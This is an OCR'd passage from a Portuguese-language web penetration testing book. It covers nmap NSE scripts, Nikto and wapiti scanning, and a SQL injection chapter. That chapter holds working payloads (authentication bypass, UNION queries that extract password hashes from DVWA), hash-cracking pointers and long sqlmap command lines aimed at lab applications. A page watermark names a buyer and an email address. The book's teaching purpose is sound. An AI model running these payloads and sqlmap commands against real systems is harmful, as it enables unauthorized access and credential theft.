3.5 AUTOMATIZANDO BUSCAS COM SCRIPT
NMAP

A ferramenta nmap, abreviacdo de Network Mapper, é muito
popular para varredura e mapeamento de redes e hosts. E bastante
utilizada para identificar quais servi¢os existem em um alvo e quais
hosts estdo disponiveis em uma rede, sendo capaz de encontrar
portas abertas e riscos de seguranca.
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O Nmap Scripting Engine (NSE) é um dos recursos mais
poderosos e flexiveis do nmap. Ele permite que os usudrios
escrevam scripts na linguagem Lua para estender as suas
funcionalidades e automatizar uma ampla variedade de tarefas de
rede. Esses scripts sdo executados em paralelo a ferramenta e tiram
proveito da sua alta performance.

O nmap nos fornece uma base de dados imensa com diversos
scripts ja desenvolvidos que podemos usar e adaptar para nossas
necessidades. Ela pode ser acessada por meio do nsedoc em
https://nmap.org/nsedoc/, que contém uma lista de scripts nmap
existentes, suas descri¢des e instru¢des de uso.

No Kali, onde todos esses scripts ja foram importados por
padrdo, vocé poderda visualiza-los com o comando 1s -1
/usr/share/nmap/scripts/ . Muitos desses scripts serdo uteis
para o nosso pentest web e, a seguir, conheceremos alguns dos
mais importantes.

No nmap, para usar o script, vocé deve utilizar a seguinte
sintaxe:

# nmap -p 80 --script <SCRIPT>

A op¢ao -p deve ser referente a porta em que se encontra o
servico web no alvo. Agora vamos utilizar na nossa aplicagdo alvo
alguns desses scripts do nmap. No tdpico anterior, nds tivemos que
realizar a procura por comentarios na aplica¢iao de forma manual,
utilizando o navegador.

Para isso, existe um script do nmap que realiza a busca por
comentarios na aplicagio e ele se chama http-comments-
displayer (https://nmap.org/nsedoc/scripts/http-comments-
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displayer.html).

Os scripts NSE também contam com a funcionalidade de
passagem de parametros, que deve ser feita por meio da opgao --
script-args . Tendo isso em mente, vamos utilizar o script

http-comments-displayer para identificar os comentdrios a
que ja tivemos acesso, mas agora de um modo mais rapido e
automatizado.

nmap -p 80 --script "http-comments-displayer" --script-args="sing
lepages={'/ghost/'}" 10.0.0.1

PORT STATE SERVICE

80/tcp open http

| http-comments-displayer:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=1
0.0.0.1

|
| Path: /ghost/
| Line number: 13
| Comment:
| <!--Attn Developers: Username: test Password: 1234 ple
ase remove when development is complete-->
Caso vocé execute sem o parametro --script-args , o nmap
tentara fazer a busca por comentirios em todas as paginas

disponiveis.

Que tal vocé fazer isso para verificar se existe algo importante?
Caso vocé queira saber mais sobre os parametros, verifique a
pagina no nsedoc do script que pretende utilizar.

Existem inumeros scripts que podem ser utilizados. Sio
realmente tantos que ndo seria possivel citar todos aqui. No
entanto, segue uma lista dos scripts NSE que praticamente todas as
vezes agrega algum valor para o seu teste de penetragdo web.
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Nome Descri¢ao

b:(::lftf) N Identifica c6pias de backup, solicitando vérias combinacdes diferentes
ickup do nome do arquivo, como index.bak , index.html~ etc.
finder
C:::f_ Verifica se ha backups, arquivos comuns de CMSs e de configuragao
9 do servidor da web acessiveis.
backup
de?‘;fjg:c Testa 0 acesso com credenciais comuns entre algumas aplicagdes
conhecidas.
accounts
_ht_tp— S_ql— Mapeia possiveis pontos vulneraveis a SQL Injection e os exibe na tela
injection
h;;fé;rfl_ Mapeia possiveis pontos vulneraveis a inclusdo de arquivos.

Encontrando vulnerabilidades com Nikto

O Nikto é uma ferramenta que vem por padrdo no Kali e
realiza diversos testes para encontrar vulnerabilidades em
servidores e aplicacdes web. Ele identifica diversos tipos de falhas,
possui extensibilidade e, se configurado corretamente, torna-se
ideal para o pentest web. Com ele, pode-se localizar problemas
dificeis de detectar de uma perspectiva externa, que serdo, com
certeza, vetores de ataque caso sejam encontrados primeiro por um

agente malicioso.

O Nikto pode ser utilizado de uma maneira bem simples.

Execute:

nikto -h http://10.0.0.1/tikiwiki/
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:~# nikto -h http://10.0.0.1/tikiwiki/
Nikto v2.1.6

Target IP:

Target Hostname:

Target Port:

Start Time: 2020-09-27 15:34:19 (GMT-4)

Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S. lubuntu4.3@ with Suhosin-Patch proxy_
python.-"3 3.1 Python/2.6.5 mod_ss1/2.2.14 QpenSSL/0.9. 8k Phusion _Passenger/4.0.38 mod_perl/2.0

+ Retrleved x-powered-by header: PHP/5.3.2-1ubuntué.30

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect
forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the c
site in a different fashion to the MIME type

+ Cookie PHPSESSID created without the httponly flag

+ Root page / redirects to: tiki-index.php

Figura 3.9: Uso do Nikto.

A figura mostra apenas a resposta parcial. Para acessar
completamente o resultado da ferramenta, verifique a resposta do
comando no seu Kali, com certeza ele lhe fard obter diversas
informacdes sobre os sistemas. Ele sera sempre uma oOtima
alternativa para encontrar diversas vulnerabilidades conhecidas e
falhas de configuragdo, podendo ser ainda mais intensificada com
base nas suas opgdes disponiveis.

Busca automatica por vulnerabilidades

A varredura em busca de vulnerabilidades é uma medida
necessaria que, juntamente com uma analise do cdédigo-fonte e
pentest, permite avaliar o nivel de defesa dos sistemas. Para isso,
usam-se ferramentas como Nikto, w3af, ou Arachni. O Arachni,
apesar de ser uma 6tima ferramenta, nao esta compativel com as
ultimas versoes do Kali até esse momento. Mas ndo ha motivos
para tristeza, pois existem outras ferramentas, por exemplo, o
wapiti.

O wapiti é uma ferramenta que ja vem pré-instalada no Kali, o
que nos ajudard a ganhar tempo em relagdo aos nossos testes. Ele é
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muito simples de ser utilizado, pois possui uma sintaxe bem
descomplicada, sendo wapiti -u <url alvo> <opgdes> .

Entre as op¢des que podem ser adicionadas ao wapiti estao:

¢ -scope: para definir um escopo do teste, com base na URL.

e -s: para adicionar URLs extras ao teste.

e -x: para remover URLs do teste.

o -verify-ssl: para ativar ou desativar a verificagdo do SSL.

e -m: para selecionar os mddulos do teste.

e -color: para destacar vulnerabilidades encontradas,
conforme a criticidade.

e -S: para determinar a intensidade do escaneamento.

e -c: para usar o arquivo de cookie gerado pelo comando

wapiti-getcookie .

Vamos realizar o nosso primeiro teste utilizando a ferramenta
wapiti, primeiro, de um modo bem simples. Para isso, execute:

wapiti -u "http://10.0.0.1/mutillidae/"

MySQL Injection in http://10.0.0.1/mutillidae/includes/pop-up-help-context-generator.php via in
Evil request:
GET /mutillidae/includes/pop-up-help-context-generator.php?pagename=%¥C2%¥BF%27%22%28 HTTP/1.
Host: 10.0.0.1

MySQL Injection in http://10.@.0.1/mutillidae/level-1-hints-page-wrapper.php via injection in t
Evil request:
GET /mutillidae/level-1-hints-page-wrapper.php?levellHintIncludeFile=%C2%BF%27%22%28 HTTP/1
Host: 10.0.0.1

MySQL Injection in http://10.@.0.1/mutillidae/webservices/rest/ws-user-account.php via injectio
Evil request:
GET /mutillidae/webservices/rest/ws-user-account.php?username=%C2%BF¥27%22%28 HTTP/1.1

Figura 3.10: Varredura simples com wapiti.

Como pode ser visto na figura, o wapiti identificou algumas
vulnerabilidades, que podem ser verificadas manualmente em
etapas posteriores do pentest. Apds o término ou interrup¢ao do
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escaneamento, é gerado um relatorio em

/root/.wapiti/generated_report/ , que serda exibido na tela
para vocé. Acesse o relatério gerado no seu Kali e verifique
também as vulnerabilidades por ele.

Summary

Category Number of vulnerabilities found

Blind SQL Injection 0

File Handling 0

CRLF Injection 0
Commands execution 0
Htaccess Bypass 0

Figura 3.11: Relatorio do wapiti.

No caso da figura, o relatério foi gerado a partir de um
escaneamento interrompido. Quanto mais tempo vocé deixar o
wapiti escanear, mais vulnerabilidades ele podera apresentar.

O wapiti também suporta sistemas que necessitam de
autenticacdo. A ferramenta auxiliar, wapiti-getcookie, pode ser
usada para gerar um arquivo de autenticagdo para aplicagdo.
Vamos usar esse comando para testar um sistema estando
autenticado.

wapiti-getcookie -u "http://10.0.0.1/dvwa/login.php" -c auten
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ticacao.json

:~# wapiti-getcookie -u http://10.0.0.1/dvwa/login.php -c autenticacao.json
<Cookie PHPSESSID=0cmg9g98c4lrjs6db13i08q016 for 10.0.0.1/>
<Cookie security=low for 10.0.0.1/dvwa>

Choose the form you want to use or enter 'q' to leave :
@) POST http://10.0.8.1/dvwa/login.php (@)
data: username=&password=5Login=Login

Enter a number : @

Please enter values for the following form:

url = http://10.0.0.1/dvwa/1login.php

username: admin

password: admin

Login (Login) :

<Cookie PHPSESSID=ocmq9g98c41rj46dbl13i08q016 for 10.8.0.1/>
<Cookie security=low for 10.0.0.1/dvwa>

Figura 3.12: Teste wapiti com autenticagao.

Na figura, vemos que foi gerado o arquivo utilizado para
autenticagdo. Apds executar o comando, a ferramenta perguntara
qual requisi¢do vocé quer utilizar para o login e, para esse caso,
escolha 0. Depois, preencha as credenciais com admin / admin e,
por fim, clique na tecla enter, deixando o parametro login com a
opgdo padrao. Agora, basta utilizar esse arquivo no seu comando
do wapiti.

wapiti -u "http://10.0.0.1/dvwa/" -c autenticacao.json

Assim, o wapiti fara o login na aplicagio e testara as
funcionalidades que necessitam dela, agdo que antes ndo era
possivel. Para finalizar essa etapa, vamos aplicar um scan wapiti
com poténcia maxima e autenticado. Para isso, vocé podera usar as
seguintes opgoes:

wapiti -S insane -u "http://10.0.0.1/dvwa/" -c autenticacao.j
son -m all --color --scope folder

Com isso, vocé podera ter uma visdo clara das vulnerabilidades
que podera encontrar no seu sistema. Claro, a ferramenta vai nos
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auxiliar muito, mas, em um pentest, ndo sera dispensado o
conhecimento sobre as vulnerabilidades existentes.

Consideragoes finais do capitulo

Este capitulo teve como objetivo transmitir técnicas e
conhecimentos utilizados na fase de reconhecimento no pentest.
Essa fase é a mais importante, pois se vocé ndo souber como o
sistema alvo funciona, suas caracteristicas e tecnologias
empregadas, possivelmente nao tera éxito nas suas exploragdes.

Neste capitulo, exibimos como funcionam algumas
ferramentas para busca passiva e outras para busca ativa. Também
foram mostradas técnicas manuais para reconhecimento da
aplicacao e, por fim, terminamos apresentando uma ferramenta
que é capaz de exibir um relatério completo das vulnerabilidades
com um simples comando, o wapiti.
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CapiTuLO 4

SQL INJECTION: MUITO
ALEM DA EXTRACAO DE
DADOS

Ha vérios anos o SQL Injection é a vulnerabilidade mais
explorada em aplicacbes web. Essa informagdo pode ser
confirmada por meio o OWASP TOP 10, um ranking das
vulnerabilidades mais exploradas, que é lan¢ado periodicamente
pela OWASP. A OWASP ¢ uma comunidade que disponibiliza
diversas informagdes sobre seguranga em aplicagoes web, possui
diversos trabalhos nesse setor e extensos manuais sobre o assunto.
Neste capitulo, vamos entender como essa vulnerabilidade
funciona e também as formas de explora¢ao para que vocé possa
validar os seus sistemas na pratica.

4.1 ENTENDO O SQL INJECTION

A primeira pergunta que deve ser respondida para o
entendimento do SQL Injection é bem simples e pode ser
respondida por vocé, pois certamente estudou esse conteudo em
Logica de Programagio ou em linguagem de programagio.
Observe atentamente a atribuicao feita a variavel $sql no codigo
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PHP a seguir:

$sql = "select * from usuarios where login = '$login' and senha =
'$senha'"

Responda a seguinte questao: qual é o tipo do conteudo que
estd sendo atribuido a variavel $sql ?

Caso a sua resposta tenha sido um comando SQL, parabéns,
mas vocé ndo acertou. Vocé pode achar um pouco estranho ter
errado, ja que isso realmente ¢ SQL, no entanto, no momento em
que essa atribuicao foi feita, isso é apenas uma string de texto. A
linguagem de programagdo nao sabe o que ¢ comando SQL, para
ela é tudo texto. Esse texto apenas se torna um comando SQL
quando é enviado para o SGBD e la é executado.

Com base na atribuigdo ja feita, vamos supor mais os seguintes
valores:

$login = 'jose'
$senha = '123456'

\

Vocé consegue chegar a conclusio de qual seria o valor da
variavel $sql ? Bom, vocé acertou se a sua resposta foi igual a
listada a seguir:

select * from usuarios where login = 'jose' and senha = '123456'

Tendo como base esse valor, vocé tem ideia de como seria o
retorno do SGBD para essa consulta? Com certeza, supondo que o
usudrio consultado exista no banco, a resposta seria uma linha
semelhante a tabela:

login senha

jose 123456
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Esse retorno, por parte do SGBD, seria a confirmagdo de que a
credencial existe no banco. Com um retorno desse tipo, a aplicagdo
permitird o acesso, pois os dados estdo corretos com os existentes
do banco, caso nio estivessem, ndo se retornaria nada. Agora
vamos imaginar como é o cdédigo de validagdo para essa
autenticagdo. Imagine que o cddigo de validagdo seja similar ao
seguinte:

<?php

$login $_POST['login'];
$senha = $_POST['senha'];

$conexao = new mysqli("127.0.0.1", "root", "root", "aplicacao");
$sql = "SELECT * FROM usuarios WHERE login = '$login' AND senh
a = '$senha'";

$resultado = $conexao>query($sql);

if( $resultado->num_rows )
echo "Autenticacdo feita com sucesso !!!";
else
echo "Credenciais incorretas, tente novamente.";

2>

Levando em consideragdo esse cddigo, imagine que o valor
informado para a variavel login seja jose e asenha, 123456 ,
conforme definido anteriormente. Sera que o login sera feito? Se
vocé disse "sim", vocé acertou.

S6 que agora vamos um pouco além desse nosso exemplo. Se o
login informado pelo usudrio fosse sant'anna e a senha fosse
123456 , qual seria o comportamento? Vocé consegue explicar o
porqué? Caso tenha duvidas, tente executar esse cddigo no seu
ambiente. Se olhar atentamente, percebera que o valor atribuido

para a variavel sera:
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SELECT * FROM usuarios WHERE login = 'sant'anna' AND senha = '123
456'"

Consegue entender o que acontecerd agora? O erro de sintaxe
fica bem claro, pois, quando essa string chega ao banco, ela chega
em um formato que nao é possivel entender como SQL. O trecho
de c6digo login = 'sant'anna' nao pode ser entendido. Isso
quer dizer que o valor informado pelo usudrio altera o comando
SQL que sera executado no banco e ndo apenas o dado, como
deveria ser. Em uma tratativa ndo vulneravel, o sistema deveria
automaticamente realizar algo parecido com login =

'sant\'anna' , ndo concorda?

Entao, do modo como o cddigo foi construido, é permitido que
a entrada de dados do usudrio modifique o texto que sera
executado no banco. Agora, analisando a situagdo, vocé consegue
pensar em um valor que poderia ser colocado como conteudo da
varidvel $login para permitir uma autenticagdo com sucesso no
sistema sem conhecer as credenciais existentes?

Imagina qual seria a resposta do banco de dados caso o valor
da varidavel $login fosse ' or 1=1 -- e a senha, 123456 .
Novamente vamos remontar a nossa string com o comando SQL e
verificar com mais clareza o que iria para o banco de dados.

SELECT * FROM usuarios WHERE login = '' or 1=1 -- ' AND senha = '
123456

Se esse comando fosse executado no banco de dados, qual seria
a resposta? Procure entender bem a légica utilizada na condi¢ao
login = '' or 1=1 #.Tudo o que existe depois do simbolo #
serd desconsiderado pelo SGBD, pois o banco entende como um

comentario. Com certeza ndo existe um login com o valor
(vazio), no entanto a condi¢do para listagem foi alterada. A
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condicdo de 1=1 ¢é verdadeira em todas as linhas da tabela, sendo
assim, a linha sempre retornard, porque a condi¢do or 1=1 faz
com que seja retornado verdadeiro para todos os casos. Entdo,
certamente teremos uma resposta parecida com:

login senha
fabio 123123
sandro sandrol23
jose 123456
ana 12345678

Atente-se para como ¢ feita a autentica¢ao na aplica¢ao.

if( $resultado->num_rows )

echo "Autenticacdo feita com sucesso !!!";
else

echo "Credenciais incorretas, tente novamente.";

Ou seja, vocé fara o login com sucesso! Vocé conseguiu fazer
com que a aplica¢do retornasse um nimero de linhas maior do que
0, o que fez com que a condi¢do para logar fosse atendida. Vocé
acabou de fazer uma autenticagdo utilizando o SQL Injection em
uma de suas variagdes, conhecida como SQL Injection
Authentication Bypass.

4.2 ENTENDA O USO DO SQL INJECTION NO
ROUBO DE DADOS

Agora que podemos entender do que se trata o SQL Injection,
devemos ter em mente que podemos usar essa vulnerabilidade
para muito mais do que uma simples autenticacdo. Os ataques de
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SQL Injection podem permitir, inclusive, o dominio total de um
servidor por parte do atacante.

Para exemplificar um roubo de dados, vamos acessar a
aplicagdo DVWA. Acesse http://10.0.0.1/dvwa/, faga o login e
clique no menu SQL Injection. No campo USER ID, insira um
numero e visualize o funcionamento normal. Logo apds, insira um
apostrofo (') e veja a mensagem que o sistema retorna. Essa
mensagem deve ser igual a exposta a seguir.

You have an error in your SQL syntax; check the manual that corresponds to your

MySOL server version for the right syntax to use near ''''' at line 1

Figura 4.1: Apostrofo.

Como podemos evidenciar, o sistema é vulneravel a SQL
Injection, pois o apostrofo foi capaz de causar a alteragio da
sintaxe do comando SQL que foi executado no banco. Agora temos
que elaborar um conteudo SQL especifico, para que o sistema nos
retorne dados do banco, como usudrios e senhas. Esse conteudo
que sera colocado no campo USER ID com o objetivo de explorar a
vulnerabilidade é comumente conhecido como payload.

Para iniciar, vamos colocar um payload que seja capaz de nos
trazer todos os usudrios cadastrados. Para isso, vamos incluir ' or
1=1 #.
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http://10.0.0.1/dvwa/

‘orl=1# Submit

IB: * or 1=1 %
First name: admin
Surname: admin

ID: ' or 1=1 #
First name: Gordon
Surname: Brown

ID: ' or 1=1 #
First name: Hack
Surname: Me

ID: ' or 1=1 #
First name: Pablo
Surname: Picasso
ID: ' or 1=1 #
First name: Bob
Surname: Smith
111 GO o -
First name: user
Surname: user

Figura 4.2: Exibindo todos os cadastros.

Agora, vamos tentar extrair algumas informacdes tteis, como a
versdo do SGBD. Para isso, podemos incluir o payload ' or 1=2
union select null, version() # . Analise o resultado e

procure entender como esse dado pode ser extraido.

Submit

ID: ' or 1=2 union select null, version() #
First name:

ST ENER 5.1.41-3ubuntul2.6-log

Figura 4.3: Versao do SGBD.

Podemos também listar o usudrio do MySQL usado pela
aplicagdo para a conexdo no banco e, assim, podemos ter uma ideia
se estamos com permissdo total. Para isso, inclua o payload ' or
1=2 union select null, user() # . Vocé poderd ver um
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usudrio root, o que ¢ uma 6tima noticia para um atacante, pois esse
usudrio geralmente tem permissdes de DBA. No entanto, em nosso

€aso, vocé vera o usuario dvwa .

Vamos entdo ao que realmente interessa: use a fungdo
database() para comecar a mapear o caminho até os dados que
objetivamos, que sdo as credenciais do sistema. A funcao
database() exibira o banco de dados com o qual a aplicacao
trabalha, entao utilize o payload ' or 1=2 union select null,
database() #.

ion select null, database() # Submit
ID: ' or 1=2 union select null, database() #
First name:

Surname: dvwa

Figura 4.4: Nome do banco.

Agora, ja temos o nome do banco utilizado pela aplicagao.
Vamos usd-lo para listar todas as tabelas presentes nele. O seguinte
payload apresenta as tabelas do banco dvwa: ' and 1=2 union
select null, table_name from information_schema.tables
where TABLE_SCHEMA = 'dvwa' #.

TABLE_SCHEMA ='dvwa' # Submit

ID: ' and 1=2 union select null, table name
First name:
Surname: guestbook

ID: ' and 1=2 union select null, table name
First name:
Surname: users

Figura 4.5: Lista de tabelas do sistema DVWA.

Vocé pode se perguntar o porqué de usar o banco

60 4.2 ENTENDA O USO DO SQL INJECTION NO ROUBO DE DADOS
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



information_schema e suas tabelas para o comando. Acontece

que alguns comandos, como o show tables , ndo funcionam
muito bem dessa forma, com isso, usamos esse banco de dados
para buscar diretamente na organizacdo do MySQL os dados nele
armazenados. O information_schema , no MySQL, pode ser
considerado o banco dos bancos.

Conseguimos notar claramente a tabela users e vamos
direcionar nosso payload para ela. Precisamos usar um payload
que permita visualizar as colunas presentes nessa tabela e, para
isso, podemos usar: ' and 1=0 union select null,
column_name  from information_schema.columns where
TABLE_NAME = 'users' and TABLE_SCHEMA = 'dvwa' #.

ID: ' and 1=0 union select null, column name

First name:
Surname: user id

ID: ' and 1=0 union select null, column_name
First name:
Surname: first name

ID: ' and 1=0 union select null, column_name
First name:
Surname: last name

ID: ' and 1=0 union select null, column_name
First name:
Surname: user

ID: ' and 1=0 union select null, column_name
First name:
Surname: password

ID: ' and 1=0 union select null, column_name
First name:
Surname: avatar

Figura 4.6: Lista de colunas.

O préximo passo agora parece bem claro. Precisamos listar os
dados propriamente ditos, os usudrios e suas respectivas senhas.
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Para isso, vamos usar o payload ' and 1=0 union select null,
concat(user, Ox0a, password) from users #.

Note que usamos uma tatica muito usada por hackers, uma
concatenagdo. Dessa forma, conseguimos colocar mais de um
conteudo em um mesmo campo, pois utilizamos a fungido
concat() . O valor 0x0a , passado como pardmetro, representa
uma quebra de linha. Com isso, puderam ser extraidos os dados
contidos na tabela a seguir.

user password

admin 21232f297a57a5a743894a0e4a801fc3
gordonb €99a18c428cb38d5f260853678922e03

1337 8d3533d75ae2¢3966d7e0d4fcc69216b

pablo 0d107d09f5bbe40cade3de5c71e9e¢9b7
smithy 5f4dcc3b5aa765d61d8327deb882cf99

user eellcbb19052e40b07aac0ca060c23ee

Como vocé pode ver, o desenvolvedor foi um tanto cauteloso.
Nio deixou o password em claro no banco, ele quis dificultar o
nosso trabalho. Entdo, para além do SQL Injection, vocé pode
utilizar um site como o https://crackstation.net para tentar
desvendar as senhas protegidas por hash. Veja se vocé consegue
descobrir quais sdo essas senhas.

4.3 A FERRAMENTA SQLMAP:
AUTOMATIZACAO DA EXPLORACAO DE
SQL INJECTION

Agora que ja somos capazes de entender como funciona a
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https://crackstation.net

dindmica de exploragio do SQL Injection, podemos fazer a
utilizacdo de uma ferramenta que vai nos apoiar nessa atividade.
Vocé seria capaz de imaginar quanto tempo demorariamos para
realizar as exploragdes manualmente? Com certeza, muito tempo
e, dependendo da situagdo, ndo seria viavel.

Para os trabalhos, vamos utilizar o sqlmap, que é uma
ferramenta de codigo aberto que automatiza o processo de
deteccao e exploragdo de falhas de injecdo SQL. Essa ferramenta
possui alto poder para detecgdo e agrega muitos outros recursos
que vao desde a coleta de informagdes do banco de dados até a
execucao de comandos no sistema operacional.

Testando se a vulnerabilidade existe

Vamos utilizar uma outra aplicagdo de nosso ambiente para
realizar nossas exploragdes. Acesse 0
http://10.0.0.1/mutillidae/index.php?page=user-info.php e vamos
praticar algumas técnicas. Vocé lembra qual é o primeiro teste que
deve ser feito? Muito bem, entre com um apoéstrofo no campo de
login e perceba bem o resultado.

7

Veja que a seguinte query é utilizada, SELECT * FROM
accounts WHERE username=''' AND password='"' . Essa query
pode ser obtida por meio de um erro, exibido no final da pagina
apo6s o envio do apodstrofo no campo de login. Mas agora, nao
faremos a exploragdo manual e sim usaremos a ferramenta sqlmap.

Para comegar, simule uma tentativa de login real, com a
credencial admin/123456, por exemplo. Na URL, depois de tentar
efetuar o login, percebe-se que o processo ¢é feito via método HTTP
GET . Para verificar a real existéncia da vulnerabilidade, copie a
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URL com os dados de login e execute o comando a seguir:

sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details"

Para a opgdo -u , deve-se passar a URL copiada
anteriormente. O sqlmap exige algumas confirmagdes, vocé pode
colocar Y para todas ou adicionar a opgdo --batch , desse modo
o sqlmap usard a resposta padrao.

sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch

sglmap identified the following injection point(s) with a total o
f 135 HTTP(s) requests:
Parameter: username (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=user-info.php&username=admin' AND (SELECT 2783
FROM (SELECT(SLEEP(5)))yMNu) AND 'XnLJ'='XnLJ&password=123456&use
r-info-php-submit-button=View Account Details

Type: UNION query

Title: Generic UNION query (NULL) - 7 columns

Payload: page=user-info.php&username=admin' UNION ALL SELECT
NULL, NULL, CONCAT(0Xx7170707171, 0x6e4f5842777356716a717172427265495
762644e505142724851755a7078614b4453564a54524350, 0x716a7a6a71l), NUL
L, NULL, NULL, NULL-- -&password=123456&user-info-php-submit-button=
View Account Details

O sqlmap deve exibir para vocé essa mensagem, comprovando
que a vulnerabilidade existe na aplicagdo. Uma opcdo interessante
do sglmap é a --crawl . Essa op¢do permite um rastreamento de
SQL Injection, tendo a URL informada como inicio. O pardmetro
passado na op¢do --crawl define um limite de profundidade do
rastreamento automatico na aplicagio.
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sglmap -u "http://10.0.0.1/mutillidae/" --crawl=2

Vocé também pode adicionar uma restri¢ado com --crawl-
exclude="logout” . O que excluird do rastreamento qualquer
URL que contenha a palavra passada como pardmetro.

sglmap -u "http://10.0.0.1/mutillidae/" --crawl=2 --crawl-exclude
="logout”

4.4 OPCOES DE PERFORMANCE

Instintivamente ja poderiamos supor algumas informagdes. O
sqlmap realiza diversas requisicdes para descoberta de
informacgoes, como o SGBD utilizado, a forma de exploragao, o
parametro a ser explorado etc. Se pudermos passar essas
informacdes de antemao para a ferramenta sqlmap, ela aumentara
muito a sua performance em relagdo ao tempo.

Em nossos testes com apostrofo, podemos perceber claramente
que o parametro username ¢ vulneravel, entdo para que testar
todos? Podemos designa-lo com a op¢ao -p . No mesmo erro
apresentado, podemos também evidenciar que o SGBD é um
mysql e o sistema operacional do servidor ¢ o Ubuntu. Com isso,
vamos usar esses parametros para aumentar a eficiéncia da
ferramenta, passando as op¢des --dbms mysql e --os linux .
sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph

p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysgl --o0s linux

Essa linha anterior do comando ja nos ajudou a aumentar a
nossa performance, no entanto, além disso, pode-se adicionar
paralelismo com o parametro --threads . Esse pardmetro varia

de 1 a 10, mas tenha cuidado, pois muitas requisigdes simultaneas
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podem derrubar o servico.

sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --os linux --t
hreads 7

Outra op¢ao do sqglmap que pode ser definida é a --
technique . Essa opgao refere-se a técnica de exploracdo de SQL
Injection, que sera utilizada no sgqlmap . Existem vdrias técnicas
que podem ser usadas e, caso vocé nao especifique uma ou nao
consiga definir, o sqlmap por padrdo tentara identificar qual é a
mais adequada automaticamente. No entanto, se vocé for capaz de
identificar, aumentara a performance da ferramenta, inclusive na
extracdo dos dados. A tabela a seguir exibe algumas técnicas

possiveis:

Parametro Forma de exploragao
B Boolean-based
E Error-based
U UNION-query based
S Stacked queries
T Time-based
Q Inline queries

O escopo do livro se tornaria imenso se eu tentasse explicar
com detalhes como funciona cada uma dessas técnicas de
exploragdo de SQL Injection, mas, com certeza, domina-las ¢ de
grande valia para o seu aprendizado e para a performance da
ferramenta.

Em nosso primeiro resultado, com a exploragio de SQL
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Injection com sqlmap, foram evidenciadas as técnicas possiveis de
exploragdo por meio do campo type. Com isso, em uma nova
tentativa, podemos especifica-la, para aumentar a eficiéncia.

sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View

+Account+Details" --batch -p username --dbms mysql --os linux --t
hreads 7 --technique TU

A opgao --null-connection tenta explorar a injecdo sem
realmente recuperar o corpo HTML completo do destino; em vez
disso, ele utiliza varias propriedades HTTP, por exemplo, o HEAD,
com o objetivo de otimizar o tempo de resposta. Também
podemos adicionar a op¢ao --keep-alive , que usa uma conexao
persistente HTTP e, como isso, a troca de dados acontece em uma
conexao ja aberta.
sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=vView

+Account+Details" --batch -p username --dbms mysql --os linux --t
hreads 7 --technique TU --null-connection --keep-alive

Resolvendo problemas de conectividade

Durante os trabalhos, pode ser que o sqlmap apresente diversos
alertas sobre o possivel esgotamento de recursos pelo servidor alvo.
Esse esgotamento pode nos atrapalhar muito, pois a opgao padrao
¢ ndo continuar o ataque devido a possibilidade de negagdo de
servico. Por isso, existem opg¢des no sqlmap para nos auxiliar nesse
processo e conseguir obter todos os dados sem o risco de derrubar

o servidor.

Caso isso esteja acontecendo com vocé, primeiro evite utilizar
altos niveis de paralelismo. Vamos mudar o valor da opgdo --
threads para 3. Pode-se também adicionar uma op¢ao de --
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delay 1 para aumentar intervalo entre requisicdes em um
segundo, caso seja necessario.

Além disso, vamos adicionar opgdes para o aumento do tempo
de tolerincia para a resposta do servidor com --timeout 1000 ,
ou ignorar totalmente com --ignore-timeouts . Outra op¢ao
que pode ser utilizada é a quantidade de vezes que uma requisicao
podera ser repetida com o --retries 10 . Agora, uma op¢ao que
podera nos ajudar muito é a op¢do --answer "seems to be a
continuous problem with=y" , que fard o --batch responder
fora do padrao para essa pergunta em especifico. Com isso, nosso
ataque automatico nao parara por falhas de conexao.
sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=vView
+Account+Details" --batch -p username --dbms mysql --os linux --t
hreads 3 --technique TU --null-connection --keep-alive --delay 1

--retries 10 --ignore-timeouts --answer "seems to be a continuous
problem with=y"

Nao se esqueca de que todos esses parametros devem ser
adequados a sua realidade no momento dos testes.

45 CAPTURANDO INFORMACOES
IMPORTANTES NO SGBD

Do mesmo modo que fizemos manualmente, também
conseguimos obter informacoes sobre os aspectos do SGBD, como
usuarios, permissdes etc. Para comegar vamos obter o nome do
usuario do banco que usaremos com --current-user e se ele é
DBA com --is-dba .
sqlmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph

p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --os linux --t

68 4.5 CAPTURANDO INFORMACOES IMPORTANTES NO SGBD
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



hreads 3 --technique TU --null-connection --keep-alive --delay 1
--retries 10 --ignore-timeouts --answer "seems to be a continuous
problem with=y" -v @ --current-user --is-dba

A execucao nos trouxe a seguinte resposta, o que ¢ muito
favoravel para uma exploracio completa. A opg¢do -v 0 foi
adicionada para que o sqlmap nao fique nos mostrando mensagens
informativas; ndo a utilize por padrao em seus testes, pois algumas
informacdes relevantes podem ser omitidas.

current user: 'mutillidae@%'
current user is DBA: True

Outras informagdes sobre o banco podem ser requisitadas.
Podemos requisitar os usudrios que existem para acesso ao banco
de dados com --users e seus respectivos hashes de senha com a
op¢do --passwords . Além disso, a op¢do --privileges nos
permite visualizar de forma clara e especifica quais privilégios
possuem cada usuario no banco de dados.
sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --os linux --t
